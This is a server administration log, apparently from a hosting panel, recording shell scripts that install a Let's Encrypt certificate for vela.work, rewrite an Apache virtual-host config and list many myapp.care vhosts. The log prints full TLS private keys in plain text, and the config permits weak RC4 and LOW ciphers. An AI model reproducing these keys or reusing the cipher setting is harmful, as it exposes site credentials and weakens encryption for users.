kQBGGWfg0m+8nNOxn6zLz0vyZbJS4xVJyDLuIrzlFQKBgQDsOED2+JFIP5bPZ9+x
RGi1uVglDPk5SDjXLxxK8g5IUGTt3UCeZTLVrrXMTE5hZEQMsfkb6OuoRgv6qexP
QD7WwnADYXhzSX+Owtl9XGlSnaXabQlTdwmRt6AAAqdD8mR01xOXmVrk1Zln9CFB
PxhzRQF25liFWA/wIurk2WsTwA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-20 06:00:02: Establishing a connection
2026-05-20 06:00:03: Establishing a connection
2026-05-20 06:00:03: 

PUT: /tmp/pkp549268

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-20 06:00:04: 

chmod 755 /tmp/pkp549268; /tmp/pkp549268; rm /tmp/pkp549268

2026-05-20 06:00:04: 


1


2026-05-20 06:00:05: Establishing a connection
2026-05-20 06:00:05: 

PUT: /tmp/pkp153407

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > oQ4gM0wgKFoGfrhtN5N0sfvhfO1S1obukCsjM6u9F8k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oQ4gM0wgKFoGfrhtN5N0sfvhfO1S1obukCsjM6u9F8k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oQ4gM0wgKFoGfrhtN5N0sfvhfO1S1obukCsjM6u9F8k


2026-05-20 06:00:05: 

chmod 755 /tmp/pkp153407; /tmp/pkp153407; rm /tmp/pkp153407

2026-05-20 06:00:05: 




2026-05-20 06:00:06: Establishing a connection
2026-05-20 06:00:07: Establishing a connection
2026-05-20 06:00:07: 

PUT: /tmp/pkp657404

#!/bin/bash
if [ -d "/var/www/vela_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-20 06:00:07: 

chmod 755 /tmp/pkp657404; /tmp/pkp657404; rm /tmp/pkp657404

2026-05-20 06:00:07: 


0


2026-05-20 06:00:47: Establishing a connection
2026-05-20 06:00:47: 

PUT: /tmp/pkp698603

#!/bin/bash
temp_file=$(mktemp)
TARGET=56a76e69b767db598a27d260cea98579.crt

cat > $temp_file <<'endmsg'
52:58:5b:5f:be:44:2e:7e:fd:c3:bc:80:83:24:98:f2

-----BEGIN CERTIFICATE-----
MIIE6jCCA9KgAwIBAgISBlwPjC9+BptLF7Je8vAHKlu2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTIwMDUwMjE2WhcNMjYwODE4MDUwMjE1WjAUMRIwEAYDVQQD
Ewl2ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCipTzn
KyOokzELq6xAycOYfsqxH++PBI+lAX5YwISCwy3unRSH9B12+V2r1wK+JhkemZ45
ZBcJ/FcqQ3i+cJEK8CB1unz4LkzBnUfep2nxUEExEgo/rJ5ljpUzf+vufxTWe+yQ
8DybKxNpeLtmcHzYNa4mPbFg7fCRtCz0fX1LtrsM/9oaL9PoZUnKd6lGgxBqyU1P
RW6/kQLNpSHlG5HK42KtJCc3HthnoZOgbYg30aZ0eh60toFWUqOeyXbcP6o8UhQQ
KDlz5ayY5g5siDZycv7n0TtOMwyynFr+/p4vcRf2AUyhdsS31sJ+Ya6/Zg7njI0E
x5uYrBW6ea3Xq/dRAgMBAAGjggIVMIICETAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUO1t4eb1bqo73
ZixN57GTaZwUv0owHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3Jn
LzAUBgNVHREEDTALggl2ZWxhLndvcmswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy81NS5jcmwwggEK
BgorBgEEAdZ5AgQCBIH7BIH4APYAfQBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdB
IpRS7pVQXwAAAZ5D+Of6AAgAAAUABxupogQDAEYwRAIga2h9PGpj/q+EW8Is0Wcd
cjq6QJEappylQ+o/b/n9U4MCIBx+xArpZCWwolE57EL5Qrr5Y7FkKNXipaL+7SEY
mJ72AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGeQ/jrVAAA
BAMARjBEAiAO/InoL9ziqjv/8k88snNw0Tz0d1fXj5LKaFsgs8uv9gIgQQNTeaRi
+sF5fxafjZQO0GANf5Sj68fESV8YrMdOH9UwDQYJKoZIhvcNAQELBQADggEBAAhF
svdnWIoWf371jmUiSZnb0PT8WAOmLpE8h6lil9LbvUYEFay1J19wfp/SUvF0FSCz
069u1AQMeLVn6zmvteVv3kf0fcKcrTIMvK5G3PCdsbDneqZ3f2UYWhyELKqYsJHo
MxCdu56NbCQEGQNiV8/acpw9mamL5Tvmo3U7lUP0dlzGjKewwtMmD0nMT2wZzJej
YnNlStIB5qogSw0/YCEz3+HK9RpvMpHYmEG0gfxVsobthZt9bxuWrxqc6XdbvIof
gCSCkyYVE1cl1EfcArNpGoA1KX/SMdvrTYQyJXYgOFfdl3S/R4UHIjsPUocYC4ez
mpAUDxe4jUiZEX9m6g0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCipTznKyOokzEL
q6xAycOYfsqxH++PBI+lAX5YwISCwy3unRSH9B12+V2r1wK+JhkemZ45ZBcJ/Fcq
Q3i+cJEK8CB1unz4LkzBnUfep2nxUEExEgo/rJ5ljpUzf+vufxTWe+yQ8DybKxNp
eLtmcHzYNa4mPbFg7fCRtCz0fX1LtrsM/9oaL9PoZUnKd6lGgxBqyU1PRW6/kQLN
pSHlG5HK42KtJCc3HthnoZOgbYg30aZ0eh60toFWUqOeyXbcP6o8UhQQKDlz5ayY
5g5siDZycv7n0TtOMwyynFr+/p4vcRf2AUyhdsS31sJ+Ya6/Zg7njI0Ex5uYrBW6
ea3Xq/dRAgMBAAECggEAD5FjZ/kgG6WjHyvafAUT/Me+HQAijPzxxuiCsHoU9PM7
tUhBy9WY8GdkCOu2rn61DtHDbFjhP6pwqXH137yklXhwkvQ7vAGqhSnJ1E0P/fIh
m1HPu1KJgs0ICPromVZ+px0LgsAL/Qo9fG36+g4wVP2mYrCrBs0fpsKpPum4EYQP
+PqS/IW3GTmmYV0bMnKSpyDgDNJW5PNlAyQfc17efTO5LqnKnYPsH+WiW78ENkpQ
50Nng0f98mi/fZVl6yHyCcxRynFSHRb4BFy6drqxD3CUtBhtFkR5PGSiSdqY8/Kp
l2aRCLcebPJFeLp7ebntRfiu/juBIfYB6zKyBuJIZQKBgQDYCSusiFFj6y3Gr5/7
FYiJRwXW3wMC5RlEoSVZ64TCDSD4wWxgmR1E4BzB+lMoA7lpsl0kmr1WeGcXuJW1
aw3eHkoQXUQqF6DpmLgSN0sNd+rgAXMRAaCkdP2t2YzP4zhoEOSImGOR4vomdr6Z
Bn48uRfBc5WZxH5iuOsnz5EXdwKBgQDAu6edd2U/bYkl2paGa4JhMuHmRREYBKc/
O8GqNFeaUXt4eV6tOJJiXGSHJ8gF9eEDhO09FUzmXyLt86IVu8zoknzpGbogKEYF
wIbV0/uWV/XFVeVR5arfXrjOwO9DW94GxsjC7A2PoV9D9lXnuJp8hptxi0xlbTWp
fS9340gpdwKBgDpvaJfXm6RaVdx7XtusvGzdgC/ZzNe4nngY2qCS+yr+ICAJOcZ7
RBaARGcXzexx7XIwo88l5/b+xGv/KseSuIKPUNtSTwDPuV/WRlvvBucSu75xxe0g
spIpbwDaaqNEw9oqT5a/GZe5fI5w6ic8QWMtccaK/DlGlCUh/cGb/JQLAoGAExzI
02m6pZ6UIifaE3xn0oG8OxyQRGR5vWCMpPdJ1KjN6LWIeP8KLSziXzDHuieW58Vv
zUXmeVXn3dbyNNuJx2p3bpo5heTYhMuB04SRB2izm50X/5YZ6sq24vHpCDH9A4kE
8ad89MhY7SFphXAeCclDcvAQZGJ/Fs6uPWJRjqMCgYAa51Qpa0SJqAIgb06KPKTx
unMOV+yMHlcmfYgZW87H/uNZLl/ioJJ3KkACq2awLd6+PFqSUSV7cbVj3tgMG5Xt
zR43OzS1dRLvORZDbAbNc/WkX9qWFLqmv+aymy+rX/c2EMsSL+C95J4ogy6r2GAo
SaeJnEZiE8rAe9X113ppJQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-20 06:00:48: 

chmod 755 /tmp/pkp698603; /tmp/pkp698603; rm /tmp/pkp698603

2026-05-20 06:00:48: 


dir=/etc/ssl/certs


2026-05-20 06:00:48: 

PUT: /tmp/pkp547515

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_www_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-20 06:00:48: 

chmod 755 /tmp/pkp547515; /tmp/pkp547515; rm /tmp/pkp547515

2026-05-20 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf 37

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-05-20 06:00:48: 

PUT: /tmp/pkp876561

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_www_work.conf
TARGET=/etc/apache2/sites-enabled/vela_www_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_www_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf= 1'
fi


2026-05-20 06:00:48: 

chmod 755 /tmp/pkp876561; /tmp/pkp876561; rm /tmp/pkp876561

2026-05-20 06:00:48: 




2026-05-20 06:00:48: 

PUT: /tmp/pkp831158

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-20 06:00:48: 

chmod 755 /tmp/pkp831158; /tmp/pkp831158; rm /tmp/pkp831158

2026-05-20 06:00:48: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-20 06:00:48: Establishing a connection
2026-05-20 06:00:48: 

PUT: /tmp/pkp493738

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-20 06:00:48: 

chmod 755 /tmp/pkp493738; /tmp/pkp493738; rm /tmp/pkp493738

2026-05-20 06:00:48: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
